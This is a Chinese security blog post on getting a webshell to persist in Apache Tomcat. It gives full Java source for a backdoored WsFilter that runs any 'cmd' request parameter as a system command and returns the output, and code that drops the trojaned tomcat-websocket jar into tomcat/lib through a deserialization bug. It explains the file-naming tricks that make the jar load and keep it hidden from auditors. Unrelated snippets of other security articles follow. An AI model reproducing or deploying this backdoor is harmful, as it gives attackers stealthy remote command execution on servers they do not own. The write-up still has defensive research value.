从一个被Tomcat拒绝的漏洞到特殊内存马

VSole2021-11-28 19:07:40

0x01 介绍

今天研究内存马相关的东西,偶然间发现一处解析BUG

一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE

不一定算得上是漏洞,不过我还是向Tomcat发了邮件尝试

Tomcat果然拒绝了,原因是需要在其他漏洞的基础上触发

这个漏洞其实在一些情况下会有巧妙的利用,本文就围绕这个利用点来谈

0x02 思路

思路来自于之前写的一篇文章:某知名Java框架内存马挖掘

从中得到一种思路:将恶意代码逻辑隐藏到目标框架必须的Filter中

换句话来说,是否能将恶意代码注入到Tomcat默认存在的Filter中呢

使用c0ny1师傅的检测工具发现,任何情况都会存在WsFilter

能否构造出一个恶意的WsFilter类注入到依赖库中

0x03 构造

在目标Tomcat/lib下找到tomcat-websocket.jar

找到WsFilter的代码,在doFilter中插入一些代码

我这里是简单的回显执行命令,也可以是一些其他逻辑

package org.apache.tomcat.websocket.server;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
 * Handles the initial HTTP connection for WebSocket connections.
 */
public class WsFilter implements Filter {
    private WsServerContainer sc;
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(
                Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
                         FilterChain chain) throws IOException, ServletException {
        // 不改变原有逻辑,在这里插入代码
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.equals("")) {
            Process process = Runtime.getRuntime().exec(cmd);
            StringBuilder outStr = new StringBuilder();
            response.getWriter().print("
");
            java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
            java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
            String s = null;
            while ((s = stdInput.readLine()) != null) {
                outStr.append(s + "");
            }
            response.getWriter().print(outStr.toString());
            response.getWriter().print("
");
        }
        // This filter only needs to handle WebSocket upgrade requests
        if (!sc.areEndpointsRegistered() ||
                !UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
            chain.doFilter(request, response);
            return;
        }
        // HTTP request with an upgrade header for WebSocket present
        HttpServletRequest req = (HttpServletRequest) request;
        HttpServletResponse resp = (HttpServletResponse) response;
        // Check to see if this WebSocket implementation has a matching mapping
        String path;
        String pathInfo = req.getPathInfo();
        if (pathInfo == null) {
            path = req.getServletPath();
        } else {
            path = req.getServletPath() + pathInfo;
        }
        WsMappingResult mappingResult = sc.findMapping(path);
        if (mappingResult == null) {
            // No endpoint registered for the requested path. Let the
            // application handle it (it might redirect or forward for example)
            chain.doFilter(request, response);
            return;
        }
        UpgradeUtil.doUpgrade(sc, req, resp, mappingResult.getConfig(),
                mappingResult.getPathParams());
    }
    @Override
    public void destroy() {
        // NO-OP
    }
}

编译WsFilter.java生成WsFilter.class字节码文件

然后使用手段把tomcat-websocket.jar里的WsFilter.class替换了

(压缩文件本身有替换功能,也可以使用工具重打包等)

这时候启动Tomcat发现一切正常,但已经存在了一个“永远”的Webshell

审计人员会想方设法审计项目代码本身,或者使用工具检查内存马是否存在

然而他们不会想到是Tomcat必须的WsFilter有问题

0x04 核心

以上逻辑看似合理,实际上有很大的问题:

依赖库在Tomcat运行的时候被占用不可修改,所以要停下Tomcat服务,然后才能替换依赖库

如果思路一直放在如何修改被占用的依赖库,那么这个问题是无解的

但我发现了一种巧妙的方法,来自于TomcatJar包的特殊加载顺序

(这里是Windows Tomcat 8的测试环境,其他环境不确定有这样的顺序)

如果我在Tomcat/lib下复制一个tomcat-websocket.jar

区别在于.jar之前加入一个空格:tomcat-websocket .jar

这时候启动Tomcat会发现tomcat-websocket .jar被加载了

参考图片中的路径,其中包含%20

有了突破思路

0x05 利用

假设目前有一个反序列化漏洞触发点,我们首先要做的是给Tomcat/lib下添加恶意库

这个库可以由黑客自行构造,然后转成二进制数据传过去

try {
    // 从standardContext中得到的resource路径是tomcat/lib
    WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)
        Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();
    String path = standardCtx.getClass().getClassLoader().getResource("").toString();
    // 得到需要写入的文件路径tomcat/lib/tomcat-websocket .jar
    String finalPath = path.split("file:/")[1]+"tomcat-websocket .jar";
    // 为了测试方便直接读了文件
    // 实战中可以传过来base64的二进制数据(文件不是很大只有200K左右)
    byte[] data = Files.readAllBytes(Paths.get("C:/JavaCode/Tomcat/tomcat-websocket .jar"));
    // 写入目标路径
    Files.write(Paths.get(finalPath),data);
} catch (Exception e) {
    e.printStackTrace();
}

暂时是无法触发的,不过如果程序添加新的功能或者特殊情况,一定会重启

(其实服务端的Tomcat重启概率不算低,很多情况都会重启)

重启后会加载恶意的tomcat-websocket .jar文件,这时候已经实现了顽固的内存马

攻击方可以守株待兔时不时尝试下/xxx.jsp?cmd=whoami看结果,一旦有结果说明有重启,加载了恶意jar

经过测试,发现.等情况也会导致这种问题,不过暂时没有做深入的研究

如下图,防守方在审计时,看到FilterNameFilterClass都是Tomcat自带的,FilterClassFile位于Tomcat/lib下的,是没有什么问题的

面多众多的FilterServlet情况下,很难会想到是WsFilter出的问题

后来测试发现了一种进一步隐藏的方式:

黑客可以获取路径得到tomcat版本,比如我这里的8.5.72,分割路径即可获得字符串

然后给新jar包命名位tomcat-websocket-8.5.72.jar

相对于加个.或者空格,这种做法更为隐蔽

代码在:https://github.com/EmYiQing/MemShell/

漏洞挖掘websocket
本作品采用《CC 协议》,转载必须注明作者和本文链接
每个黑客都会遇到这个,第一个赏金。我实际上无法解释它的感觉,但我知道你们中的大多数人都能理解它的感觉。当我们开始在 Web 应用程序安全中进行漏洞赏金时,我们大多数人都会从 XSS开始,故事从这里开始。
Spring的英文翻译为春天,可以说是给Java程序员带来了春天,因为它极大的简化了开发。
Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE
Spring Framework、5.0.5 之前的 5.0.x 版本和 4.3.16 之前的 4.3.x 版本以及不支持的旧版本允许应用程序通过spring-messaging模块通过简单的内存 STOMP 代理通过 WebSocket 端点公开 STOMP 。恶意用户(或攻击者)可以向代理发送可能导致远程代码执行攻击的消息。
是一套用于对域名进行侦察的工具。该程序会检查 SPF 和 DMARC 记录中是否存在允许欺骗的弱配置。用于发现计算机网络上的主机和服务,从而构建网络的“地图”。自动渗透测试侦察扫描仪。不受 API 限制,因为它使用 Selenium 检测浏览器。输出报告以帮助关联跨站点的目标。是一个 python 脚本,它检查电子邮件帐户是否在数据泄露中受到损害,如果电子邮件帐户受到损害,它会继续查找受损害帐户的密码。LinkedIn 枚举工具,通过搜索引擎抓取从组织中提取有效员工姓名。
Botconf 2023 议题速递
2023-05-23 09:43:16
在 1 月 12 日即被 360 Netlab 的蜜罐捕获,1 月 20 日首次发现 DDoS 攻击。4 月 24 日更新了版本 3,启用 xxtea 加密配置信息,并且增加了反沙盒与反调试。6 月 5 日更新了版本 4,去掉了反沙盒与反调试并且启动了 DDoS 勒索。C&C 面板11 月 9 日,通过 Telegram 匿名消息来源获取了 Fodcha 的 C&C 源码与访问终端。持续跟踪Fodcha 已经跻身 2022 年最活跃的新兴 DDoS 家族:在跟踪期间疯狂发动 DDoS 攻击,总计控制近四万台失陷主机针对全球的五万多个目标进行攻击,平均每天攻击超过一千个目标。
闲来无事,我上网随便找了一个驱动来进行测试。
0x01 确定目标无目标随便打,有没有自己对应的SRC应急响应平台不说,还往往会因为一开始没有挖掘漏洞而随意放弃,这样往往不能挖掘到深层次的漏洞。所以在真的想要花点时间在SRC漏洞挖掘上的话,建议先选好目标。0x02 确认测试范围前面说到确定测什么SRC,那么下面就要通过一些方法,获取这个SRC的测试范围,以免测偏。
漏洞挖掘工具—afrog
2023-03-20 10:20:07
-t http://example.com -o result.html2、扫描多个目标 afrog -T urls.txt -o result.html例如:urls.txthttp://example.comhttp://test.comhttp://github.com3、测试单个 PoC 文件 afrog?-t http://example.com -P ./testing/poc-test.yaml -o result.html4、测试多个 PoC 文件 afrog?
但又没登录怎么获取的当前用户的Access-Reset-Ticket真相只有一个,看看接口哪里获取到的原来是在输入要找回的用户就会获取当前用户的Access-Reset-Ticket6到了,开发是我大哥尝试修改可行,修改管理员账号,然后起飞下机。漏洞已修复,厂商也修复了漏洞更新到了最新版本。
VSole
网络安全专家